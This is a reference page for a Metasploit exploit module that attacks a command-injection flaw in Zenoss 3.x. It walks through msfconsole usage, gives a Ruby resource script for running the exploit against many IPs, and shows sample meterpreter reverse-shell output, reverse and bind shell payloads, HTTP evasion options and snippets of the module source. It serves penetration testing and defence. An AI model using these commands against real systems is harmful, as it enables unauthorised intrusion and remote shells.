Zenoss 3 showDaemonXMLConfig Command Execution - Metasploit


This page contains detailed information about how to use the exploit/linux/http/zenoss_showdaemonxmlconfig_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Zenoss 3 showDaemonXMLConfig Command Execution
Module: exploit/linux/http/zenoss_showdaemonxmlconfig_exec
Source code: modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb
Disclosure date: 2012-07-30
Last modification time: 2021-11-22 14:11:03 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -

This module exploits a command execution vulnerability in Zenoss 3.x which could be abused to allow authenticated users to execute arbitrary code under the context of the 'zenoss' user. The show_daemon_xml_configs() function in the 'ZenossInfo.py' script calls Popen() with user controlled data from the 'daemon' parameter.

Module Ranking and Traits


Module Ranking:

  • good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.

Basic Usage


Using zenoss_showdaemonxmlconfig_exec against a single host

Normally, you can use exploit/linux/http/zenoss_showdaemonxmlconfig_exec this way:

msf > use exploit/linux/http/zenoss_showdaemonxmlconfig_exec
msf exploit(zenoss_showdaemonxmlconfig_exec) > show targets
    ... a list of targets ...
msf exploit(zenoss_showdaemonxmlconfig_exec) > set TARGET target-id
msf exploit(zenoss_showdaemonxmlconfig_exec) > show options
    ... show and set options ...
msf exploit(zenoss_showdaemonxmlconfig_exec) > exploit

Using zenoss_showdaemonxmlconfig_exec against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your zenoss_showdaemonxmlconfig_exec will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/linux/http/zenoss_showdaemonxmlconfig_exec")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Go back to menu.

Msfconsole Usage


Here is how the linux/http/zenoss_showdaemonxmlconfig_exec exploit module looks in the msfconsole:

msf6 > use exploit/linux/http/zenoss_showdaemonxmlconfig_exec

msf6 exploit(linux/http/zenoss_showdaemonxmlconfig_exec) > show info

       Name: Zenoss 3 showDaemonXMLConfig Command Execution
     Module: exploit/linux/http/zenoss_showdaemonxmlconfig_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2012-07-30

Provided by:
  bcoles <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Automatic Targeting

Check supported:
  Yes

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  PASSWORD  zenoss           yes       The Zenoss password
  Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT     8080             yes       The target port (TCP)
  SSL       false            no        Negotiate SSL/TLS for outgoing connections
  USERNAME  admin            yes       The Zenoss username
  VHOST                      no        HTTP server virtual host

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a command execution vulnerability in Zenoss 3.x 
  which could be abused to allow authenticated users to execute 
  arbitrary code under the context of the 'zenoss' user. The 
  show_daemon_xml_configs() function in the 'ZenossInfo.py' script 
  calls Popen() with user controlled data from the 'daemon' parameter.

References:
  http://itsecuritysolutions.org/2012-07-30-zenoss-3.2.1-multiple-security-vulnerabilities/
  OSVDB (84408)

Module Options


This is a complete list of options available in the linux/http/zenoss_showdaemonxmlconfig_exec exploit:

msf6 exploit(linux/http/zenoss_showdaemonxmlconfig_exec) > show options

Module options (exploit/linux/http/zenoss_showdaemonxmlconfig_exec):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD  zenoss           yes       The Zenoss password
   Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     8080             yes       The target port (TCP)
   SSL       false            no        Negotiate SSL/TLS for outgoing connections
   USERNAME  admin            yes       The Zenoss username
   VHOST                      no        HTTP server virtual host

Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

Advanced Options


Here is a complete list of advanced options supported by the linux/http/zenoss_showdaemonxmlconfig_exec exploit:

msf6 exploit(linux/http/zenoss_showdaemonxmlconfig_exec) > show advanced

Module advanced options (exploit/linux/http/zenoss_showdaemonxmlconfig_exec):

   Name                    Current Setting                                     Required  Description
   ----                    ---------------                                     --------  -----------
   ContextInformationFile                                                      no        The information file that contains context information
   DOMAIN                  WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler   false                                               no        Disable the handler code for the selected payload
   EnableContextEncoding   false                                               no        Use transient context when encoding payloads
   FingerprintCheck        true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                           no        HTTP connection and receive timeout
   HttpPassword                                                                no        The HTTP password to specify for authentication
   HttpRawHeaders                                                              no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                                no        The HTTP username to specify for authentication
   SSLVersion              Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent               Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE                 false                                               no        Enable detailed status messages
   WORKSPACE                                                                   no        Specify the workspace for this module
   WfsDelay                2                                                   no        Additional delay in seconds to wait for a session

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/http/zenoss_showdaemonxmlconfig_exec module can exploit:

msf6 exploit(linux/http/zenoss_showdaemonxmlconfig_exec) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic Targeting

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/zenoss_showdaemonxmlconfig_exec exploit:

msf6 exploit(linux/http/zenoss_showdaemonxmlconfig_exec) > show payloads

Compatible Payloads
===================

   #  Name                                 Disclosure Date  Rank    Check  Description
   -  ----                                 ---------------  ----    -----  -----------
   0  payload/cmd/unix/bind_perl                            normal  No     Unix Command Shell, Bind TCP (via Perl)
   1  payload/cmd/unix/bind_perl_ipv6                       normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   2  payload/cmd/unix/generic                              normal  No     Unix Command, Generic Command Execution
   3  payload/cmd/unix/reverse_perl                         normal  No     Unix Command Shell, Reverse TCP (via Perl)
   4  payload/cmd/unix/reverse_perl_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   5  payload/cmd/unix/reverse_python                       normal  No     Unix Command Shell, Reverse TCP (via Python)
   6  payload/cmd/unix/reverse_python_ssl                   normal  No     Unix Command Shell, Reverse TCP SSL (via python)

Evasion Options


Here is the full list of possible evasion options supported by the linux/http/zenoss_showdaemonxmlconfig_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/http/zenoss_showdaemonxmlconfig_exec) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

/zport/dmd/favicon.ico


Here is a relevant code snippet related to the "/zport/dmd/favicon.ico" error message:

65:	      res = send_request_raw({
66:	        'method' => "GET",
67:	        'uri'    => "/zport/acl_users/cookieAuthHelper/login_form"
68:	      })
69:	      return Exploit::CheckCode::Appears if res.body =~ /<p>Copyright &copy; 2005-20[\d]{2} Zenoss, Inc\. \| Version\s+<span>3\./
70:	      return Exploit::CheckCode::Detected   if res.body =~ /<link rel="shortcut icon" type="image\/x\-icon" href="\/zport\/dmd\/favicon\.ico" \/>/
71:	      return Exploit::CheckCode::Safe
72:	    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeoutp
73:	      vprint_error("Connection failed")
74:	      return Exploit::CheckCode::Unknown
75:	    end

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

68:	      })
69:	      return Exploit::CheckCode::Appears if res.body =~ /<p>Copyright &copy; 2005-20[\d]{2} Zenoss, Inc\. \| Version\s+<span>3\./
70:	      return Exploit::CheckCode::Detected   if res.body =~ /<link rel="shortcut icon" type="image\/x\-icon" href="\/zport\/dmd\/favicon\.ico" \/>/
71:	      return Exploit::CheckCode::Safe
72:	    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeoutp
73:	      vprint_error("Connection failed")
74:	      return Exploit::CheckCode::Unknown
75:	    end
76:	    return Exploit::CheckCode::Save
77:	  end
78:	

Authentication failed. Incorrect username/password.


Here is a relevant code snippet related to the "Authentication failed. Incorrect username/password." error message:

89:	        'method'    => 'POST',
90:	        'uri'       => "/zport/About/showDaemonXMLConfig",
91:	        'data'      => "#{postdata}",
92:	      })
93:	      if res and res['Bobo-Exception-Type'] =~ /^Unauthorized$/
94:	        print_error("Authentication failed. Incorrect username/password.")
95:	        return
96:	      end
97:	      print_good("Sent payload successfully")
98:	    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
99:	      print_error("Connection failed")

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

94:	        print_error("Authentication failed. Incorrect username/password.")
95:	        return
96:	      end
97:	      print_good("Sent payload successfully")
98:	    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
99:	      print_error("Connection failed")
100:	    rescue
101:	      print_error("Sending payload failed")
102:	    end
103:	
104:	    handler

Sending payload failed


Here is a relevant code snippet related to the "Sending payload failed" error message:

96:	      end
97:	      print_good("Sent payload successfully")
98:	    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
99:	      print_error("Connection failed")
100:	    rescue
101:	      print_error("Sending payload failed")
102:	    end
103:	
104:	    handler
105:	
106:	  end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • bcoles

Version


This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.